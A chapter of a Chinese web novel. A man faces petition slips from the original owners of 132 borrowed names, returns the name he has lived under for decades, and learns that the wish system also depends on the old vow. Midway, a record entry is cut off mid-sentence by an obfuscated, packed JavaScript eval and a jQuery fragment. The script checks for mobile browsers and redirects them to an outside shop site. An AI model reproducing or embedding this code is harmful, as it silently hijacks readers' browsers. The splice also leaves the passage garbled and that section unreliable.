第七张诉纸停在顾闻川面前。
上面的名字叫林稚青。
顾闻川看了很久，才说：“她借出去的不是寿命。是她弟弟叫她姐姐的那一年。”
唐婧抬起头：“什么意思？”
“她弟弟生病，需要钱。愿社给她两种价，一年寿命，或者一年旁名。她选了旁名。”
当年的借名契还在，很快从档案里调了出来。林稚青确实亲手按过印，也清楚写着借期一年，只是愿价下面还有一条现在看来很荒唐的附注。
【旁名离身期间，与姓名直接相关之社会称谓暂时失效。】
林稚青以为失效的是工作登记、邻里称呼和来往信件。
真正开始以后，她才发现不只这些。
她弟弟不再叫她姐了。
“第一天还认得她。”顾闻川说，“到了第三个月，看见她会喊林小姐。后来连林都叫不出来，只知道这是一个常来照顾他的人。”
唐婧看着他：“你怎么记得这么清楚？”
“她来找过我。”
那时候顾闻川刚开始频繁使用旁名，还不习惯原主突然找到面前。林稚青没要求毁契，也没说自己反悔，她只是问了一句话。
能不能把剩下四个月提前还给她？
顾闻川拒绝了。
“为什么？”沈蘅问。
“那时候我还需要这个名字。”
“然后呢？”
“她弟弟死了。”
修契室里静下来。
顾闻川没给自己找理由，只继续说：“死前最后一晚，她在床边守着。他已经认不出她是谁，只问她，林姐姐怎么还没来。”
林稚青就在旁边。
她没有把名字拿回来。
四个月之后，契约正常到期，“林稚青”重新归还原主。可那一句姐姐，再也没人能补给她。
秦满抱着铜铃，小声问：“她后来还找过你吗？”
“没有。”
“那她现在想要什么？”
诉纸自己翻了过去。
背面只有一行字。
【无所求。】
下面还有一行。
【只是问：你记得吗？】
顾闻川说：“记得。”
诉纸没有消失。
它停了一会儿，又添了一句。
【那就记着。】
随后缓缓落回神簿。
没有索寿，也没有要求他痛一次、病一次，更没有让林稚青死去的弟弟回来。
这笔账最后什么都没拿。
只留下一个人必须记得。
第八张诉纸紧跟着升起来。
【魏承礼。】
顾闻川摇头：“不记得。”
档案里很快找到记录。魏承礼主动卖名半年，拿钱给家里赎了房子，合同完整，也没有附加条款。半年以后名字如约归还，本人后来活到七十四岁。
他的后人留下的处理意见也很简单。
【契约已完，无异议。】
顾闻川看了一会儿：“这个也算诉？”
谢明烛道：“诉状不等于要判你有罪。”
“那为什么找我？”
“确认有没有没说清的。”
神簿把魏承礼那张纸收了回去。
第九张、第十张也是自愿交易，没有新增争议。第十一张却是家属代签，第十二张来自一个连名字都不会写的人，第十三张的原主已经找不到了，第十四张只剩一张模糊合照，连借出去的到底是哪两个字都无法确认。
没有一张可以套同一个结论。
顾闻川站在那里，一个一个回答。
记得。
不记得。
见过。
没见过。
知道来源。
没问过来源。
到了第二十七张，他已经很少再解释。唐婧负责核记录，谢明烛只在事实有冲突时追问，没人催他认错，也没人替那些已经死去的人决定该原谅还是该恨。
最难受的反而是那些没有结果的。
一张诉纸上写着：
【贺新月。】
档案只剩一句“借名两月”，没有原始合同。
顾闻川说不记得。
诉纸问：
【钱给了吗？】
“不知道。”
【名字还了吗？】
“不知道。”
【原主后来如何？】
还是不知道。
那张纸在空中停了很久，最后只加了两个字。
【待查。】
顾闻川看着那两个字，忽然说：“沈归鹤最讨厌这个。”
宁照夜靠在桌边：“你也讨厌。”
“以前。”
“现在呢？”
顾闻川没马上回答。
过了一会儿，他说：“现在觉得，比乱写一个结果强。”
宁照夜看了他一眼，没损他。
第五十三张诉纸出现时，顾闻川已经坐下了。
他的手背开始浮出很淡的老人斑。
不是突然衰老，只是原本被一层层旁名压住的时间终于露出来一点。头发还没白，脸也没有塌，可眼角那些几乎看不见的细纹开始加深，右手旧伤也重新疼起来。
闻烬生看了一会儿：“撑得住吗？”
顾闻川抬头：“你什么时候开始问别人这个？”
“刚学会。”
“那我撑得住。”
“行。”
没人再管他。
第五十三个名字他仍然不记得。第五十四个记得一半，第五十五个是一位戏班里唱青衣的女人，他只记得她的嗓子，不记得她叫什么。
诉纸问：
【那你为什么用她的名？】
顾闻川想了很久。
“因为剩余时长还有九个月。”
没有更好的答案。
当一个名字在愿社的档案里只剩“九个月”，他看到的就真的只有九个月。
人是怎么活的，家里有没有人等她，谁还会叫她一声本名，都不在使用页面上。
宋仪真站在一旁看了半天，忽然说：“后来的愿社系统也是这样。”
唐婧问：“哪样？”
“把不想让操作人看的东西藏掉。”
来源写成“自愿”。
问题写成“无争议”。
一个人被家里代签，系统不会显示她当时怎么哭、怎么拒绝，只会留下一个更方便处理的结果——授权有效。
“你知道？”唐婧问。
宋仪真停了一会儿：“知道一部分。”
“那为什么一直用？”
“因为确实方便。”
这句话难听得很。
顾闻川抬眼看她：“终于轮到别人说了。”
宋仪真没理他。
唐婧在旁边加了一条记录：
【后续系统设计中，不得以结果标签替代原始授权过程。】
愿望系统很快跳出来。
【会增加审核成本。】
宁照夜道：“忍着。”
【正在忍。】
这句话一出来，连顾闻川都笑了一下。
可笑完没多久，他开始咳。
不是很重，停不下来而已。谢明烛把水递过去，他喝了几口，问：“还有多少？”
唐婧看了眼编号：“七十九张。”
“继续。”
“可以分几天。”
顾闻川摇头：“我现在走了，明天未必还有今天记得多。”
没人问为什么。
旁名一张张退回以后，他脑子里那些属于别人的碎片也在散。有的原本就是借名字时顺带留下的印象，并非真正属于他。
再拖下去，他可能连“曾经见过”都说不出来。
第八十八张诉纸，他记起原主爱吃甜。
第九十四张，他记得一个孩子每次签字都把姓写反。
第一百零三张，他只记得那个人很讨厌他。
第一百零四张完全空白。
一百一十七张升起来时，顾闻川忽然伸手按住胸口。
唐婧停下：“怎么了？”
“心跳不对。”
闻烬生过去摸了一下他的脉：“快。”
“死不了。”
“现在最好别总说这个。”
顾闻川抬眼：“你不是挺爱提死？”
“我最近改了。”
顾闻川靠回椅背，喘匀了才抬手：“继续。”
这一张叫许庭生。
他记得。
“愿社最早一批录音员。”
许庭生没有借钱，也没许愿。他主动把名字给了顾闻川一年，条件是愿社答应替他保管三百二十七盘录音。
唐婧皱眉：“什么录音？”
“失名者留下的自述。”
宁照夜也站直了：“还有这批东西？”
顾闻川点头。
“他说纸会被改，名字会被划，声音没那么容易动。”
“录音呢？”
“后来丢了。”
“怎么丢的？”
“我不知道。”
唐婧盯着他。
顾闻川看回去：“这个真不知道。”
许庭生的诉纸没有问录音去了哪里。
只问：
【你答应过什么？】
顾闻川回答：“保管。”
【做到了吗？】
“没有。”
【那就找。】
“好。”
诉纸落下。
唐婧立刻在待查事项里加上“三百二十七盘失名者录音”。没有人展开新的支线，现在也不是时候，只把这笔没做完的事留下。
终于到第一百三十一张。
名字是宋闻仪。
所有人都看向顾闻川。
他沉默了一会儿：“记得。”
这次没有诉纸提问。
宋闻仪已经申诉过三次，也亲口说过不要那个名字。她留下来的要求只有一个——别把她写成无主。
谢明烛在旁名记录上重新标注：
【原主存活期间明确拒绝转让。】
【后续使用属于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825795|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盗用。】
【不得因原主另取新名，倒推其自愿放弃旧名。】
“宋闻仪”三个字从顾闻川名下彻底脱落。
他胸前原本看不见的一层主持权限，也跟着消失。
现在只剩最后一张。
第一百三十二。
诉纸升起来时，唐婧没有立即去看档案。
因为上面写的是：
【顾闻川。】
顾闻川自己也愣了一下。
这个名字与前面的都不一样。
他不是用了几个月，也不是借了一年。
他以“顾闻川”活了九十多年。
在愿社工作的是顾闻川。
签过文件、见过人、做过决定、活到今天的也是顾闻川。
甚至在他自己的认知里，“沈归鹤”早已成了前一个人。
诉纸下面没有原主照片。
只有百名会馆的旧记录。
【第三十七号无主名。】
【顾闻川。】
【原主身份：待查。】
【入馆年份：民国十七年。】
【状态：原主曾存在。】
最后一栏，比以前多了四个字。
【并非空名。】
顾闻川的手指慢慢攥紧。
他以前一直说，顾闻川是一个无主名。
没人来认，没人记得原主是谁，会馆里只剩三个字和一个职能。沈归鹤取走以后，这个名字才重新在人间活了近百年。
现在神簿告诉他，不是。
有人用过。
只是后来被抹干净了。
诉纸没有像前面一样问：
你记得我吗？
它问的是：
【你愿意还吗？】
修契室里安静下来。
顾闻川看着那句话，一直没有回答。
宁照夜也没催。
这是第一百三十二个名字。
也是他唯一一个真正舍不得的。
过了很久，顾闻川才问：“还了以后，我叫什么？”
谢明烛道：“你可以自己选。”
“再叫顾闻川呢？”
“可以。”
他抬头。
“名字可以重复。”谢明烛说，“但你不能继续占第三十七号顾闻川的身份、记录和愿社权限。”
“那还有区别吗？”
“有。”
“什么区别？”
“以前你说，这名字没人要，所以归你。”
谢明烛看着他。
“以后你要说，是你自己想叫。”
顾闻川半晌没说话。
他忽然笑了一下。
“折腾九十七年，最后还得重新取名。”
宁照夜道：“嫌麻烦可以叫沈归鹤。”
笑意从顾闻川脸上淡下去。
“不叫。”
“这么讨厌？”
“嗯。”
“他就是你。”
“做过的事我认。”
顾闻川看着那张诉纸。
“名字不想要。”
他伸手按下了【归还】。
第三十七号“顾闻川”从愿社记录、百名会馆职能和修契人权限中一点点退出来。那三个字没有从他眼前消失，只是第一次不再替他挡住另一个人的一百三十二笔旧账。
神簿重新问：
【当前无登记姓名。】
【是否自选？】
顾闻川拿起笔。
写下的仍然是三个字。
顾闻川。
【是否确认：仅作为本人自选姓名，不继承第三十七号无主名之身份、经历、权限与既有关系？】
他看了一遍。
“确认。”
朱砂落下。
这一回，没有愿路亮起，也没有任何职能跟过来。
只是一个名字。
属于现在这个人。
可就在确认完成的一刻，黑色神簿忽然自己翻到了沈归鹤那份愿契。
【求愿路不灭。】
【撤愿申请人：顾闻川。】
【延续受益清算完成。】
原本灰着的最后一项终于亮了。
【是否终止原愿？】
顾闻川伸手。
还没碰到，系统突然弹出新的核验结果。
【原愿当前仍有第二受益者存续。】
顾闻川的手停住。
宁照夜皱眉：“还有谁？”
页面缓慢往下展开。
没有名字。
只有一个他们刚刚才查清的身份。
【承愿位。】
也就是现在的愿望系统。
它活到今天，同样受益于“愿路不灭”。
所以沈归鹤这张愿，不是顾闻川一个人说撤就能彻底结束。
诉纸里，愿望系统沉默了很久。
最后冒出一句。
【我不想死。】
顾闻川看着屏幕。
“巧了。”
他把手收回来。
“我现在想。”